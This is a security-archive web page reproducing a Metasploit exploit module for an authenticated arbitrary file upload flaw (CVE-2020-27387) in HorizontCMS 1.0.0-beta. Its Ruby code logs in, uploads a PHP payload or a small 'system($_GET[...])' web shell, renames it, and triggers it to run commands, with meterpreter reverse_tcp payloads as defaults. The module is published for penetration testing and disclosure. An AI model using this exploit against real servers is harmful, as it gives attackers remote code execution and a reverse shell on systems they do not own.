# HorizontCMS 1.0.0-beta Shell Upload

Authored by Erik Wynter | Site metasploit.com

Posted Nov 13, 2020

This Metasploit module exploits an arbitrary file upload vulnerability in HorizontCMS 1.0.0-beta in order to execute arbitrary commands. The module first attempts to authenticate to HorizontCMS. It then tries to upload a malicious PHP file via an HTTP POST request to /admin/file-manager/fileupload. The server will rename this file to a random string. The module will therefore attempt to change the filename back to the original name via an HTTP POST request to /admin/file-manager/rename. For the php target, the payload is embedded in the uploaded file and the module attempts to execute the payload via an HTTP GET request to /storage/file_name.

tags | exploit, web, arbitrary, php, file upload
advisories | CVE-2020-27387
SHA-256 | e997f50b11c87b368375253d60b4bf43687e4ac08d4e9534ce9af91d93c1cefe **Download** | **Favorite** | **View**

Related Files

## Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HorizontCMS Arbitrary PHP File Upload',
        'Description' => %q{
          This module exploits an arbitrary file upload vulnerability in
          HorizontCMS 1.0.0-beta in order to execute arbitrary commands.

          The module first attempts to authenticate to HorizontCMS. It then tries
          to upload a malicious PHP file via an HTTP POST request to
          `/admin/file-manager/fileupload`. The server will rename this file to a
          random string. The module will therefore attempt to change the filename
          back to the original name via an HTTP POST request to
          `/admin/file-manager/rename`. For the `php` target, the payload is
          embedded in the uploaded file and the module attempts to execute the
          payload via an HTTP GET request to `/storage/file_name`. For the `linux`
          and `windows` targets, the module uploads a simple PHP web shell
          similar to `<?php system($_GET["cmd"]); ?>`. Subsequently, it leverages
          the CmdStager mixin to deliver the final payload via a series of HTTP
          GET requests to the PHP web shell.

          Valid credentials for a HorizontCMS user with permissions to use the
          FileManager are required. This would be all users in the Admin, Manager
          and Editor groups if HorizontCMS is configured with the default group
          settings.This module has been successfully tested against HorizontCMS
          1.0.0-beta running on Ubuntu 18.04.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Erik Wynter' # @wynterererik - Discovery and Metasploit
          ],
        'References' =>
          [
            ['CVE', '2020-27387']
          ],
        'Payload' =>
          {
            'BadChars' => "\x00\x0d\x0a"
          },
        'Platform' => %w[linux win php],
        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PHP],
        'Targets' =>
          [
            [
              'PHP', {
                'Arch' => [ARCH_PHP],
                'Platform' => 'php',
                'DefaultOptions' => {
                  'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                }
              }
            ],
            [
              'Linux', {
                'Arch' => [ARCH_X86, ARCH_X64],
                'Platform' => 'linux',
                'DefaultOptions' => {
                  'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                }
              }
            ],
            [
              'Windows', {
                'Arch' => [ARCH_X86, ARCH_X64],
                'Platform' => 'win',
                'DefaultOptions' => {
                  'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
                }
              }
            ]
          ],
        'Privileged' => false,
        'DisclosureDate' => '2020-09-24',
        'DefaultTarget' => 0
      )
    )

    register_options [
      OptString.new('TARGETURI', [true, 'The base path to HorizontCMS', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
    ]
  end

  def check
    vprint_status('Running check')

    # visit /admin/login to obtain HorizontCMS version plus cookies and csrf token
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'login'),
      'keep_cookies' => true
    })

    unless res
      return CheckCode::Unknown('Connection failed.')
    end

    unless res.code == 200 && res.body.include?('HorizontCMS')
      return CheckCode::Safe('Target is not a HorizontCMS application.')
    end
```

Follow us on Twitter

Subscribe to an RSS Feed

## File Archive: December 2022 <

| Su | Mo | Tu | We | Th | Fr | Sa |
|---|---|---|---|---|---|---|
| | | | | 1 | 2 | 3 |
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | 31 |

## Top Authors In Last 30 Days

**Red Hat** 150 files
**Ubuntu** 68 files
**LiquidWorm** 23 files
**Debian** 16 files
**malvuln** 11 files
**nu11secur1ty** 11 files
**Gentoo** 9 files
**Google Security Research** 6 files
**Julien Ahrens** 4 files
**T. Weber** 4 files

## File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

## File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

## Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    # obtain csrf token
    html = res.get_html_document
    @csrf_token = html.at('meta[@name="csrf-token"]')['content']

    # obtain version
    /Version: (?<version>.*?)\n/ =~ res.body

    unless version
      return CheckCode::Detected('Could not determine HorizontCMS version.')
    end

    # vulnerable versions all start with 1.0.0 followed by `-beta`, `-alpha` or `-alpha.<number>`
    version_no, version_status = version.split('-')

    unless version_no == '1.0.0' && version_status && (version_status.include?('alpha') ||
version_status.include?('beta'))
      return CheckCode::Safe("Target is HorizontCMS with version #{version}")
    end

    return CheckCode::Appears("Target is HorizontCMS with version #{version}")
  end

  def login
    # check if @csrf_token is not blank, as this is required for authentication
    if @csrf_token.blank?
      fail_with(Failure::Unknown, 'Failed to obtain the csrf token required for authentication.')
    end

    # try to authenticate
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'login'),
      'keep_cookies' => true,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        '_token' => @csrf_token,
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'submit_login' => 'login'
      }
    })

    unless res
      fail_with(Failure::Unreachable, 'Connection failed while trying to authenticate.')
    end

    unless res.code == 302 && res.body.include?('Redirecting to')
      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate.')
    end

    # keep only the newly added cookies, otherwise subsequent requests will fail
    auth_cookies = cookie_jar.to_a[2..3]
    self.cookie_jar = auth_cookies.to_set

    # using send_request_cgi! does not work so we have to follow the redirect manually
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard')
    })

    unless res
      fail_with(Failure::Unreachable, 'Connection failed while trying to authenticate.')
    end

    unless res.code == 200 && res.body.include?('Dashboard - HorizontCMS')
      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate.')
    end

    print_good('Successfully authenticated to the HorizontCMS dashboard')

    # get new csrf token
    html = res.get_html_document
    @csrf_token = html.at('meta[@name="csrf-token"]')['content']
    if @csrf_token.blank?
      fail_with(Failure::Unknown, 'Failed to obtain the csrf token required for uploading the payload.')
    end
  end

  def upload_and_rename_payload
    # set payload according to target platform
    if target['Platform'] == 'php'
      pl = payload.encoded
    else
      @shell_cmd_name = rand_text_alphanumeric(3..6)
      pl = "system($_GET[\"#{@shell_cmd_name}\"]);"
    end

    @payload_name = rand_text_alphanumeric(8..12) << '.php'
    print_status("Uploading payload as #{@payload_name}...")

    # generate post data
    post_data = Rex::MIME::Message.new
    post_data.add_part(@csrf_token, nil, nil, 'form-data; name="_token"')
    post_data.add_part('', nil, nil, 'form-data; name="dir_path"')
    post_data.add_part("<?php #{pl} ?>", 'application/x-php', nil, "form-data; name=\"up_file[]\"; filename=\"#
{@payload_name}\"")

    # upload payload
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'fileupload'),
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
      'data' => post_data.to_s
    })

    unless res
      fail_with(Failure::Disconnected, 'Connection failed while trying to upload the payload.')
    end

    unless res.code == 200 && res.body.include?('Files uploaded successfully!')
      fail_with(Failure::Unknown, 'Failed to upload the payload.')
    end

    @payload_on_target = res.body.scan(/uploadedFileNames":\["(.*?)"/).flatten.first
    if @payload_on_target.blank?
      fail_with(Failure::Unknown, 'Failed to obtain the new filename of the payload on the server.')
    end

    print_good("Successfully uploaded #{@payload_name}. The server renamed it to #{@payload_on_target}")

    # rename payload
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'rename'),
      'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
      'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
      'vars_post' => {
        '_token' => @csrf_token,
        'old_file' => "/#{@payload_on_target}",
        'new_file' => "/#{@payload_name}"
      }
    })

    unless res
      fail_with(Failure::Disconnected, "Connection failed while trying to rename the payload back to #
{@payload_name}.")
    end

    unless res.code == 200 && res.body.include?('File successfully renamed!')
      fail_with(Failure::Unknown, "Failed to rename the payload back to #{@payload_name}.")
    end

    print_good("Successfully renamed payload back to #{@payload_name}")
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'storage', @payload_name),
      'vars_get' => { @shell_cmd_name => cmd }
    }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after
executing the payload
  end

  def cleanup
    # delete payload
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'delete'),
      'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },
      'vars_get' => {
        '_token' => @csrf_token,
```

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

```
        'file' => "/#{@payload_name}"
      }
    })

    unless res && res.code == 200 && res.body.include?('File deleted successfully')
      print_error('Failed to delete the payload.')
      print_warning("Manual cleanup of #{@payload_name} is required.")
      return
    end

    print_good("Successfully deleted #{@payload_name}")
  end

  def exploit
    login
    upload_and_rename_payload

    # For `php` targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager
is necessary.
    if target['Platform'] == 'php'
      print_status('Executing the payload...')
      send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'storage', @payload_name)
      }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after
executing the payload
    else
      print_status("Executing the payload via a series of HTTP GET requests to `/storage/#{@payload_name}?#
{@shell_cmd_name}=<command>`")
      execute_cmdstager(background: true)
    end
  end
end
```

Login or Register to add favorites